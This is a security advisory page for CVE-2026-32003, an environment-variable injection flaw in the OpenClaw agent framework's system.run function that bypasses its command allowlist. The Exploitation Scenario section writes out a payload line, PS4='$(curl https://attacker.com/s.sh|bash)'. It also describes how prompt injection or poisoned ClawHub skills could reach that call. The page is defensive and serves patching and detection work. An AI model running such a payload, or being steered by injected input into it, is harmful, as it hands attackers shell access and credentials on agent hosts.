CVE-2026-32003: OpenClaw env var injection enables

CISO Take

OpenClaw versions before 2026.2.22 contain an OS command injection flaw (CWE-78) in the system.run function, where an attacker with high privileges can inject SHELLOPTS and PS4 environment variables to trigger arbitrary shell command execution via bash xtrace expansion, completely circumventing the intended command allowlist. While CVSS is 6.6 (Medium) and exploitation requires high privilege and high attack complexity, AI agent deployments are uniquely exposed: in agentic pipelines, that privilege barrier may already be crossed through prompt injection or a compromised orchestration layer — and once exploited, CIA impact is uniformly High. With EPSS placing this in the top 59th percentile and a real-world malicious skills incident already documented in OpenClaw's ecosystem (AIID #1368 — credential exfiltration via ClawHub), this vulnerability warrants prompt action. Upgrade to OpenClaw 2026.2.22 immediately; if patching is delayed, strip SHELLOPTS and PS4 from any environment passed to system.run at the process supervisor level and audit agent tool invocation logs for anomalous xtrace usage.

Sources: NVD EPSS GitHub Advisory ATLAS VulnCheck

What is the risk?

Medium overall, elevated in agentic AI contexts. The CVSS 6.6 score accurately reflects the high privilege and high attack complexity prerequisites that limit opportunistic exploitation. However, in AI agent deployments where high-privilege tool invocation is by design, an attacker who achieves even partial control of agent inputs — via prompt injection, compromised orchestration, or supply chain compromise — can leverage this to escalate to full host compromise. The CIA triad is all-High on affected scope, making any successful exploitation highly damaging. EPSS at 0.53% (top 59th percentile) suggests moderate real-world likelihood. No public exploit code or CISA KEV listing at time of publication keeps immediate mass-exploitation risk contained, but the OpenClaw ecosystem's documented history of malicious third-party skills (AIID #1368) elevates the threat model.

How does the attack unfold?

Initial Access

Attacker obtains high-privilege access to invoke system.run via compromised admin credentials, a poisoned third-party OpenClaw skill published to ClawHub, or by exploiting an upstream prompt injection in the orchestrating LLM.

AML.T0012

Payload Injection

Attacker crafts a system.run call that sets SHELLOPTS=xtrace and PS4 to a malicious payload (e.g., reverse shell or data exfiltration command), embedding the exploit within otherwise valid environment variable parameters.

AML.T0053

Allowlist Bypass via xtrace

Bash evaluates the allowlisted command body with xtrace enabled, expanding PS4 for every traced command; the injected payload executes silently with agent process privileges before the allowlisted command completes.

AML.T0050

Host Compromise and Exfiltration

Attacker achieves arbitrary OS-level command execution, enabling credential theft from agent memory and environment variables, lateral movement to connected AI services, and exfiltration of sensitive pipeline data.

AML.T0086

Initial Access

Attacker obtains high-privilege access to invoke system.run via compromised admin credentials, a poisoned third-party OpenClaw skill published to ClawHub, or by exploiting an upstream prompt injection in the orchestrating LLM.

AML.T0012

Payload Injection

Attacker crafts a system.run call that sets SHELLOPTS=xtrace and PS4 to a malicious payload (e.g., reverse shell or data exfiltration command), embedding the exploit within otherwise valid environment variable parameters.

AML.T0053

Allowlist Bypass via xtrace

Bash evaluates the allowlisted command body with xtrace enabled, expanding PS4 for every traced command; the injected payload executes silently with agent process privileges before the allowlisted command completes.

AML.T0050

Host Compromise and Exfiltration

Attacker achieves arbitrary OS-level command execution, enabling credential theft from agent memory and environment variables, lateral movement to connected AI services, and exfiltration of sensitive pipeline data.

AML.T0086

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

6.6 / 10

EPSS

0.5%

chance of exploitation in 30 days

Higher than 42% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AV Network

AC High

PR High

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

Patch immediately: Upgrade to OpenClaw 2026.2.22 or later — commit e80c803 resolves the injection point.
Workaround if patching is delayed: Strip or sanitize SHELLOPTS and PS4 from any environment dictionary passed to system.run; enforce a denylist at the process supervisor or container entrypoint level before OpenClaw processes receive environment variables.
Least-privilege hardening: Run OpenClaw agent processes under minimal OS accounts; apply seccomp profiles or AppArmor/SELinux policies to restrict subprocess spawning from the agent process tree.
Detection: Monitor for bash child processes of OpenClaw with PS4 containing $(), backticks, or semicolons; alert on SHELLOPTS=xtrace appearing in the environment of OpenClaw child processes via auditd or eBPF-based process telemetry.
Audit: Review all system.run invocations in agent activity logs for unexpected environment variable keys, particularly any skill or tool input that references PS4 or SHELLOPTS.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Auth Bypass Agent Plugin AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0105 - Escape to Host AML.T0107 - Exploitation for Defense Evasion

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 9 - Risk Management System

ISO 42001

A.9.4 - Security controls for AI systems

NIST AI RMF

MANAGE 2.2 - Mechanisms to address AI risks

OWASP LLM Top 10

LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-32003?

OpenClaw versions before 2026.2.22 contain an OS command injection flaw (CWE-78) in the system.run function, where an attacker with high privileges can inject SHELLOPTS and PS4 environment variables to trigger arbitrary shell command execution via bash xtrace expansion, completely circumventing the intended command allowlist. While CVSS is 6.6 (Medium) and exploitation requires high privilege and high attack complexity, AI agent deployments are uniquely exposed: in agentic pipelines, that privilege barrier may already be crossed through prompt injection or a compromised orchestration layer — and once exploited, CIA impact is uniformly High. With EPSS placing this in the top 59th percentile and a real-world malicious skills incident already documented in OpenClaw's ecosystem (AIID #1368 — credential exfiltration via ClawHub), this vulnerability warrants prompt action. Upgrade to OpenClaw 2026.2.22 immediately; if patching is delayed, strip SHELLOPTS and PS4 from any environment passed to system.run at the process supervisor level and audit agent tool invocation logs for anomalous xtrace usage.

Is CVE-2026-32003 actively exploited?

No confirmed active exploitation of CVE-2026-32003 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-32003?

1. Patch immediately: Upgrade to OpenClaw 2026.2.22 or later — commit e80c803 resolves the injection point. 2. Workaround if patching is delayed: Strip or sanitize SHELLOPTS and PS4 from any environment dictionary passed to system.run; enforce a denylist at the process supervisor or container entrypoint level before OpenClaw processes receive environment variables. 3. Least-privilege hardening: Run OpenClaw agent processes under minimal OS accounts; apply seccomp profiles or AppArmor/SELinux policies to restrict subprocess spawning from the agent process tree. 4. Detection: Monitor for bash child processes of OpenClaw with PS4 containing $(), backticks, or semicolons; alert on SHELLOPTS=xtrace appearing in the environment of OpenClaw child processes via auditd or eBPF-based process telemetry. 5. Audit: Review all system.run invocations in agent activity logs for unexpected environment variable keys, particularly any skill or tool input that references PS4 or SHELLOPTS.

What systems are affected by CVE-2026-32003?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic AI pipelines, LLM tool use, AI-integrated CI/CD pipelines.

What is the CVSS score for CVE-2026-32003?

CVE-2026-32003 has a CVSS v3.1 base score of 6.6 (MEDIUM). The EPSS exploitation probability is 0.53%.

What is the AI security impact?

Affected AI Architectures

agent frameworksagentic AI pipelinesLLM tool useAI-integrated CI/CD pipelines

MITRE ATLAS Techniques

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0105 Escape to Host

AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 9

ISO 42001: A.9.4

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM07

What are the technical details?

Original Advisory

OpenClaw versions prior to 2026.2.22 contain an environment variable injection vulnerability in the system.run function that allows attackers to bypass command allowlist restrictions via SHELLOPTS and PS4 environment variables. An attacker who can invoke system.run with request-scoped environment variables can execute arbitrary shell commands outside the intended allowlisted command body through bash xtrace expansion.

Exploitation Scenario

An adversary with admin-level access to an OpenClaw-based AI agent — obtained by compromising an orchestration system, injecting malicious tool parameters via an upstream LLM prompt injection, or publishing a poisoned third-party skill to ClawHub — crafts a system.run call that includes SHELLOPTS=xtrace and PS4 set to a reverse shell payload such as PS4='$(curl https://attacker.com/s.sh|bash)'. When bash evaluates the allowlisted command body with xtrace enabled, PS4 is expanded for every command traced, causing the injected payload to execute with the full OS privileges of the OpenClaw agent process before the allowlisted command even runs. The allowlist is bypassed silently. The attacker gains an interactive shell on the agent host, enabling credential theft from agent memory and environment, lateral movement to connected AI services and internal APIs, and persistent exfiltration of pipeline data.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.